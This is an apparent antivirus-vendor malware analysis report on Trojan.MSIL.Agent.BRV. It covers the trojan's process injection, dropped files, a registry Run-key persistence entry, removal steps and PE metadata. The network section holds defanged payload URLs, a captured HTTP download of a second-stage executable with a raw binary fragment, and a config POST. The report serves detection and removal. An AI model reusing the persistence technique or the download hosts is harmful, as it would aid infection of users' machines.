Trojan.MSIL.Agent.BRV_23f47d2560

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:2180

The Trojan injects its code into the following process(es):

J0H3QAI5QG.exe:2724

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:2180 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\J0H3QAI5QG.exe (19528 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\V60LYP4YWI.exe (0 bytes)

The process J0H3QAI5QG.exe:2724 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (38 bytes)

Registry activity

The process %original file name%.exe:2180 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASAPI32]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\otut]
"partner" = "idsc"

[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASMANCS]
"FileTracingMask" = "4294901760"
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\otut]
"Product" = "unknown"

[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASAPI32]
"MaxFileSize" = "1048576"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASMANCS]
"EnableFileTracing" = "0"
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASMANCS]
"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\otut]
"channel" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASMANCS]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"ConsoleTracingMask" = "4294901760"
"EnableFileTracing" = "0"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process J0H3QAI5QG.exe:2724 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASAPI32]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASMANCS]
"MaxFileSize" = "1048576"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"MaxFileSize" = "1048576"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASMANCS]
"EnableFileTracing" = "0"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"3OWZXRF45I" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\J0H3QAI5QG.exe"

Dropped PE files

MD5	File path
1894a3b37eb2baaf66e7fce4123c2448	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\J0H3QAI5QG.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   %original file name%.exe:2180
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   C:\Users\"%CurrentUserName%"\AppData\Local\Temp\J0H3QAI5QG.exe (19528 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (38 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "3OWZXRF45I" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\J0H3QAI5QG.exe"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: HSUO
Product Name:
Product Version: 4.6.3.4
Legal Copyright: Copyright (c) 2016
Legal Trademarks: HSUO@3CK
Original Filename: Cendrillon.exe
Internal Name: Cendrillon.exe
File Version: 4.6.3.4
File Description: HS
Comments: HSUO@
Language: English (United States)

Company Name: HSUOProduct Name: Product Version: 4.6.3.4Legal Copyright: Copyright (c) 2016Legal Trademarks: HSUO@3CKOriginal Filename: Cendrillon.exeInternal Name: Cendrillon.exeFile Version: 4.6.3.4File Description: HSComments: HSUO@Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	8192	2140940	2141184	4.16776	bbb69954da19b269ddb69c657d0c7323
.rsrc	2154496	193352	193536	3.97953	3afa5ec146a121d1c07898b34af108e3
.reloc	2351104	12	512	0.070639	3f4e453ccab004416e35f40213dd5fc0

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://weminternal.com/get/3/wizzcaster_v2.exe	46.105.121.115
hxxp://wizzcaster.com/api/v5/config	176.31.115.114
hxxp://wizzcaster.com/api/v5/link	176.31.115.114

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /get/3/wizzcaster_v2.exe HTTP/1.1

Host: weminternal.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Tue, 22 Nov 2016 06:05:07 GMT

Server: Apache/2.4.10 (Debian)

Cache-Control: no-cache

content-disposition: attachment; filename="wizzcaster_v2.exe"

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: application/x-msdownload

5a400..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...\..W.........."...0.................. ........@.. ....................................@.................................p...O...................................8................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........%..............x@...v..........................................6.(.....(....*z.,..{....,..{....o......(....*z.s....}......(.....r...po....*V.(......}......}....*...0...........{....(....t.....s.....{......o......r...po.....r...po.......ijo .....o!....o".........io#......,..o......o$...t1...o%...s&...o'...*......R.._.......0..........(.....s....o......&..*...................((...~....%-.&~..........s)...%.....o*...*..0..G.......s ....r[..p... 1..r]..p(,...o-.....r]..p.(........(/...(0......X...2..*..(....*..0...........(....r[..p.....,Q....(1.......(2......5...%...%....((...o3...r...p(4....(5....(.....^o6...(7...&.Q((...o3...r...p(4...(8........i.2).........(9.....(1.....(:.......(;...i. .s<...z...(....}......(....}....*........N..V.......0..B.......~=...r...p.o>.....-.*...(....r...p(?...o@...r...p(A...oB....oC...*...0../....... ....(D.....{....(E...&..&.. `....{....Z(D... ...................~....-.r...p.....(F...oG...sH........~....*.~....*.......*.~....*..(I...*Vs....(J...t.....

<<< skipped >>>

POST /api/v5/config HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host: wizzcaster.com

Content-Length: 38

Expect: 100-continue

Connection: Keep-Alive

HTTP/1.1 100 Continue

....

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

J0H3QAI5QG.exe_2724_rwx_002DC000_00004000:

mi^

mi^